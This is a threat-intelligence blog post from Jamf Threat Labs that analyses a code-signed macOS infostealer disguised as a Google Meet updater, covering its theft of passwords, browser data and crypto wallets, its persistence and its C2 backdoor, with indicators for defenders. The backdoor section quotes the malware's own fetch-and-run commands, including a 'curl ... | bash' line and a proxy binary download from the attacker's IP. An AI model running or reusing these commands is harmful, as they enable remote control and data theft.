Signed and stealing: uncovering new insights on Odyssey infostealer

Last week, security researchers at Moonlock published new findings on the latest version of Atomic Stealer (AMOS), highlighting significant updates — including the addition of a backdoor. Around the same time, Jamf Threat Labs independently analyzed samples that exhibit many of the same characteristics detailed in Moonlock’s research.

July 16 2025 by

Jamf Threat Labs

End user using a laptop with an infostealer installed

By Thijs Xhaflaire

Introduction

In this post, we’ll expand on those findings by sharing additional technical insights uncovered during our own investigation on recently uncovered samples that are likely to be Odyssey Stealer.

Security researchers focused on macOS are aware of the steady stream of infostealer variants discovered each week. Most of these samples are nearly identical, with only minor changes designed to bypass Apple’s built-in XProtect or evade traditional detection engines. Still, distinguishing between a recycled sample and a genuinely new variant is an important step in threat analysis.

While performing routine examination of samples collected from various malware rulesets, one stood out — a Mach-O binary with the SHA256 hash dec750b9d596b14aeab1ed6f6d6d370022443ceceb127e7d2468b903c2d9477a. What caught our attention was that, according to VirusTotal metadata, the sample appeared to be code-signed by a valid Apple Developer ID.

After downloading and inspecting the binary, we confirmed that it was indeed both code-signed and notarized — a detail that raised immediate concern given its malicious nature. On macOS, code-signed and notarized applications are generally allowed to run without being blocked or flagged by built-in security controls like Gatekeeper or XProtect. This makes code signing and notarization an attractive option for threat actors looking to increase the chances of successful execution without raising immediate red flags.

Infostealer mimicking Google Meet app installation

Infostealer mimicking a Google Meet app updater

The sample was distributed via a disk image (DMG), a common delivery method for macOS infostealers. Interestingly, although the threat actor successfully obtained both code-signing and notarization for this binary — along with several others — they still relied on the classic right-click “Open” background image trick the user to launch the application. This is typically used to bypass Gatekeeper warnings for unsigned apps on macOS Sonoma and lower, making its use here surprising given the app’s valid signature and notarization. The application itself is named “Gmeet_updater.app,” though there’s little effort to align that branding with the user experience, suggesting a rushed or careless repackaging process.

After confirming that the Developer Team ID was used to distribute malicious payloads, Jamf Threat Labs reported it to Apple. Since then, the associated certificate appears to have been revoked.

Stage one: the dropper and stealer

Let’s take a closer look at how this Odyssey sample differs from the AMOS variants previously documented by Moonlock.

Upon execution of the sample, we observed a notable addition to its behavior. Alongside the known AppleScript dialog used to capture the user’s password, this variant also launches a SwiftUI-based application designed to resemble a “Technician Panel.” This native-looking interface adds a layer of legitimacy to the social engineering attempt, potentially increasing the chances of user interaction.

Animated GIF showing how the infostealer mimics legitimate applications to harvest macOS device passwords

Demo of infostealer behavior

As the end user interacts with the Technician Panel, the SwiftUI application silently reaches out to a remote server at hxxps[:]//allteching.xyz/auto, retrieving an additional AppleScript payload using native Swift APIs. The script is saved to a temporary directory at /var/folders/6y/y6cc4s9x77lfp_0dc6crzl8r0000gn/T/CFNetworkDownload_lgg1qR.tmp. Once downloaded, the app shells out to chmod to make the script executable, then uses sh to execute it.

This triggers the familiar AppleScript dialog seen in earlier infostealer variants, prompting the user for their macOS login password — but only if a hidden .pwd file hasn’t already been created during a previous run of the stealer. Unlike earlier versions where the script was bundled directly within the Mach-O binary, the AppleScript payload is now loaded dynamically at runtime.

Script asking for macOS device password

Prompt for macOS password

A closer look at the AppleScript payload reveals that all function names are heavily obfuscated, making the script more difficult to read or detect at first glance.

AppleScript payload showing obfuscated functions

Heavily obfuscated functions

Despite the obfuscation, the script’s functionality is largely consistent with previous infostealer payloads. Here’s a breakdown of its key behavior:

Initial setup and password acquisition:

  • The script starts by creating temporary directories (e.g., /tmp//). It then attempts to acquire the user’s macOS password. If a previously stored password file (.pwd) isn’t found, it falls back to prompting the user with a fake “Application Helper” dialog. This prompt uses dscl . authonly to verify the password against the local directory.

Comprehensive data theft:

  • Once access is established, the script moves on to collecting a wide range of sensitive data. This includes browser-related information like cookies, login credentials and autofill data from Safari, Chromium-based browsers (Chrome, Brave, Edge, Opera), and Firefox/Waterfox profiles. It also targets a broad set of desktop cryptocurrency wallets — including Electrum, Exodus, Atomic and Ledger Live — pulling data from typical ~/Library/Application Support/ locations. Additionally, it scans the user’s Desktop and Documents folders for personal files such as .txt, .pdf, .wallet and .key, attempts to access the login keychain database, extracts Apple Notes content, and collects system metadata using system_profiler.

Data exfiltration:

  • All collected data is compressed into /tmp/out.zip and uploaded to a hardcoded endpoint at hxxp[:]//45.146.130.131/log.

Malicious application replacement:

  • The script checks for the presence of the legitimate Ledger Live app at /Applications/Ledger Live.app. If found, it replaces it with an modified and unsigned version created by the attacker and downloaded from hxxp[:]//45.146.130.131/otherassets/ledger.zip.

Script replacing legitimate Ledger Live app

Script replacing legitimate Ledger Live app

What's different about this stealer?

Compared to many of the infostealers that are constantly infecting users on macOS this particular sample embeds a stage two backdoor and configuration. It also modifies critical wallet applications if installed on the system.

System persistence:

  • To ensure continued access, a LaunchDaemon is installed in /Library/LaunchDaemons/ with a randomly generated name (e.g., com.{random}.plist). Its associated execution script is downloaded from hxxp[:]//45.146.130.131/otherassets/plist, allowing the backdoor component to persist across system reboots.

LaunchDaemon with randomly generated name

  • It also stores key configuration details — including the command-and-control (C2) IP address, username, and assigned bot ID — in hidden files within the user’s home directory for future reference or additional runs of the stealer
Library directory and .botid, .chost and .username files

Hidden files with stored information

Second stage: the persistent backdoor

Next, we’ll take a closer look at the second-stage payload — a separate AppleScript responsible for establishing persistence on the system and continuing the trend of obfuscation, with randomized function names and minimal comments to hinder analysis.

Second-stage payload for establishing persistence

Second-stage payload for establishing persistence

This second-stage script functions as a persistent backdoor. Once executed, it registers with the C2 server and receives a unique identifier for the compromised host. From there, it enters a continuous loop, regularly polling the C2 for new instructions.

Persistent control and identification:

  • It manages a unique identifier for the compromised system, stored in ~/.botid. If this file is empty or missing, the script registers the system with the C2 server (via f6072177340208237255 contacting http://45.146.130.131/v1/bot/joinsystem/) and saves the received ID. This ensures consistent tracking.
  • It also checks for a ~/.uninstalled flag, allowing the attacker to remotely disable the bot. This relates to the self-termination techniques we cover below.

Dynamic command execution:

  • The core functionality resides in a continuous loop that polls the C2 server for commands using f3852609148770194821 (contacting http://45.146.130.131/api/v1/bot/actions/[BOT_ID]).
  • repeat command: If the C2 sends a "repeat" command, the script executes curl -s http://45.146.130.131/api/v1/bot/repeat/[USERNAME] | bash &. This allows the attacker to deliver and execute arbitrary shell scripts directly onto the compromised system in the background, facilitating updates or new malicious tasks.
  • doshell command: For immediate arbitrary execution, a "doshell" command instructs the script to run a specific shell command provided directly by the C2.

Network tunneling:

  • enablesocks5 command: If this command is received, the script downloads a binary named "socks" from http://45.146.130.131/otherassets/socks to /tmp/socks. It then makes this file executable (chmod +x /tmp/socks) and runs it in the background (/tmp/socks > /dev/null 2>&1 & disown). The binary is written in Golang, and it likely establishes a SOCKS5 proxy on the compromised machine, enabling the attacker to route their network traffic through the victim's system, potentially for anonymity or to access internal networks.
The enablesocks5 command

The enablesocks5 command

Self-termination:

  • A built-in "uninstall" command received from the C2 (or triggered by failed C2 communication) causes the script to write a "+" to ~/.uninstalled (using f5313137926743508521) and then immediately exit (do shell script "exit 0").

This script showcases a surprisingly robust C2 communication framework, granting the attacker ongoing, flexible control over the infected host.

Thanks for the interest — you’re blocked

During analysis, it’s common to run the same sample multiple times — and early on, we were able to do just that. The payload includes basic system discovery, likely used to capture details like the device’s serial number or determine whether it’s running in a virtual machine. Initially, we had no issue triggering the malware repeatedly. However, after several executions, we noticed a shift: the malware stopped behaving as expected.

Upon closer inspection, it appears the malware uses a combination of system identifiers to fingerprint the environment. If it determines the system is likely being used for research — rather than by a real target — it silently blacklists the machine. Once blacklisted, the payload avoids running its full set of behaviors.

Instead, it simply installs persistence via a LaunchDaemon, using the following ProgramArgument:

More signed and notarized samples in the wild

Jamf Threat Labs identified at least three distinct macOS infostealer samples that were successfully signed and notarized using the same Team ID (A2FTSWF4A2) and later distributed in the wild.

Example of infostealer named SoftMine
Example of infostealer named TradingView

Conclusion

Having tracked numerous variants and iterations of infostealers over the past few years, it’s clear that its authors are actively evolving the malware. The recent updates — including those highlighted in Moonlock’s research — demonstrate a shift toward more advanced techniques, some of which mirror tactics previously observed in campaigns linked to DPRK threat actors. This progression suggests a deliberate effort to enhance both the stealth and effectiveness of the stealer.

It’s also a reminder that signed and notarized apps aren’t always safe — which is why it’s important to keep a close eye on what’s being allowed to run in your environment. While static detection provides a valuable first line of defense, pairing it with behavioral detections is increasingly important to catch the telltale signs of infostealer activity in real time.

In this case, although the application successfully passed notarization, Apple revoked the approval shortly after the malicious activity was discovered and reported by Jamf Threat Labs.

We strongly recommend customers to ensure that Threat Prevention and Advanced Threat Controls are enabled and set to blocking mode in Jamf Protect to stay protected against these latest infostealer variants.

Indicators of Compromise (IoCs)

Dive into Jamf Threat Labs research on our blog.